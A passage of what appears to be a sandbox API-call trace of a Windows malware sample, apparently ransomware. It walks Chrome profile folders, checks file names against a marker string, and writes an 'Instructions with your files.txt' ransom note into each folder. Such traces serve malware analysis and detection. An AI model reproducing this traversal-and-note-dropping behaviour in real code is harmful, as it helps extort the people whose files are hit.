[0128.795] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82adc050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82adc050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82adc050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1
[0128.795] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 103
[0128.795] StrStrIW (lpFirst="CURRENT", lpSrch="SDfghjkl") returned 0x0
[0128.795] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ad9940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1
[0128.795] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 100
[0128.795] StrStrIW (lpFirst="LOCK", lpSrch="SDfghjkl") returned 0x0
[0128.795] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8dae37f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1
[0128.795] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 99
[0128.795] StrStrIW (lpFirst="LOG", lpSrch="SDfghjkl") returned 0x0
[0128.795] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82adc050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1
[0128.795] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 111
[0128.795] StrStrIW (lpFirst="MANIFEST-000001", lpSrch="SDfghjkl") returned 0x0
[0128.795] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82adc050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0
[0128.795] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\Instructions with your files.txt") returned 128
[0128.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0128.795] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0128.796] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0128.796] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0128.797] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0128.797] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0128.797] CloseHandle (hObject=0x124) returned 1
[0128.797] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0128.798] GetProcessHeap () returned 0x810000
[0128.798] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ccc20 | out: hHeap=0x810000) returned 1
[0128.798] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension State", cAlternateFileName="EXTENS~2")) returned 1
[0128.798] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned 95
[0128.798] GetProcessHeap () returned 0x810000
[0128.798] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ccc20
[0128.798] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*") returned 97
[0128.798] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0128.800] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\.") returned 97
[0128.800] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.801] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\..") returned 98
[0128.801] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82556720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6f3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1
[0128.801] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 106
[0128.801] StrStrIW (lpFirst="000003.log", lpSrch="SDfghjkl") returned 0x0
[0128.801] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824d3190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1
[0128.801] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 103
[0128.801] StrStrIW (lpFirst="CURRENT", lpSrch="SDfghjkl") returned 0x0
[0128.801] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1
[0128.801] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 100
[0128.801] StrStrIW (lpFirst="LOCK", lpSrch="SDfghjkl") returned 0x0
[0128.801] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6f3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1
[0128.801] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 99
[0128.801] StrStrIW (lpFirst="LOG", lpSrch="SDfghjkl") returned 0x0
[0128.801] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1
[0128.801] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 111
[0128.801] StrStrIW (lpFirst="MANIFEST-000001", lpSrch="SDfghjkl") returned 0x0
[0128.801] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0
[0128.801] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\Instructions with your files.txt") returned 128
[0128.801] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0128.802] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0128.803] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0128.803] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0128.803] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0128.803] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0128.803] CloseHandle (hObject=0x124) returned 1
[0128.803] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0128.804] GetProcessHeap () returned 0x810000
[0128.804] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ccc20 | out: hHeap=0x810000) returned 1
[0128.805] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1
[0128.805] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 90
[0128.805] GetProcessHeap () returned 0x810000
[0128.805] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ccc20
[0128.805] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*") returned 92
[0128.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0128.808] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\.") returned 92
[0128.808] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.809] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\..") returned 93
[0128.809] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aapocclcgogkmnckokdopfmhonfmgoek", cAlternateFileName="AAPOCC~1")) returned 1
[0128.809] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 123
[0128.809] GetProcessHeap () returned 0x810000
[0128.809] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0128.809] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*") returned 125
[0128.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0128.811] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\.") returned 125
[0128.811] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.811] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\..") returned 126
[0128.811] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1
[0128.811] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 129
[0128.811] GetProcessHeap () returned 0x810000
[0128.811] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0128.811] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*") returned 131
[0128.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0128.814] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\.") returned 131
[0128.814] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.814] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\..") returned 132
